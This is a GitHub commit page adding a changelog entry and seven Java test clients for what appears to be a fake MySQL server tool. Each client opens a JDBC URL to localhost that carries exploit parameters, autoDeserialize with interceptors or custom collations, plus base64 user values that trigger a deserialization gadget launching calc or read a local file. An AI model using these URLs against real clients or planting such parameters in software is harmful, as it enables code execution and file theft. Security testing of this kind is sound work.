Skip to content
This repository has been archived by the owner on Feb 21, 2024. It is now read-only.

Commit

Permalink
test
Browse files Browse the repository at this point in the history
  • Loading branch information
4ra1n committed Jun 11, 2023
1 parent e8dad00 commit 0351f1c
Show file tree
Hide file tree
Showing 8 changed files with 123 additions and 0 deletions.
8 changes: 8 additions & 0 deletions CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -11,3 +11,11 @@ init
- GUI版停止后再次启动存在BUG
- 命令行版本优化输出部分,添加HELP信息
- 处理非主要功能的BUG
- 自动检查新版本并提示更新

- Fix the bug of handling payloads containing `_` characters.
- Allow Base64 input for parameters to prevent special cases.
- Fix the bug that occurs when restarting the GUI version.
- Optimize the output in the command-line version and add HELP information.
- Fix minor bugs related to non-core features.
- Automatically check for new versions and prompt for updates.
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package me.n1ar4.fake.test.mysql5;

import java.sql.DriverManager;

public class MySQL5CB_DBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?" +
"detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU=";
try {
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
package me.n1ar4.fake.test.mysql5;

import java.sql.DriverManager;

public class MySQL5CB_SBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?" +
"autoDeserialize=true&statementInterceptors=" +
"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU=";
try {
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package me.n1ar4.fake.test.mysql6;

import java.sql.DriverManager;

public class MySQL6CB_DBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?" +
"detectCustomCollations=true&autoDeserialize=true&user=base64ZGVzZXJfQ0JfY2FsYy5leGU=";
try {
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
package me.n1ar4.fake.test.mysql6;

import java.sql.DriverManager;

public class MySQL6CB_SBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?" +
"autoDeserialize=true&statementInterceptors=" +
"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU=";
try {
Class.forName("com.mysql.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
package me.n1ar4.fake.test.mysql8;

import java.sql.DriverManager;

public class MySQL8CB_SBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?" +
"autoDeserialize=true&queryInterceptors=" +
"com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=base64ZGVzZXJfQ0JfY2FsYy5leGU=";
try {
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package me.n1ar4.fake.test.mysql8;

import java.sql.DriverManager;

public class MySQL8ReadBase {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?user=" +
"base64ZmlsZXJlYWRfQzpcUHJvZ3JhbSBGaWxlc1xKYXZhXGpkay0xN1xsaWJcc3JjLnppcA==";
try {
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
package me.n1ar4.fake.test.mysql8;

import java.sql.DriverManager;

public class MySQL8ReadOtherPath {
public static void main(String[] args) {
String url = "jdbc:mysql://127.0.0.1:3308/test?user=" +
"fileread_C:\\\\Program Files\\\\Java\\\\jdk-17\\\\lib\\\\src.zip";
try {
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}

0 comments on commit 0351f1c

Please sign in to comment.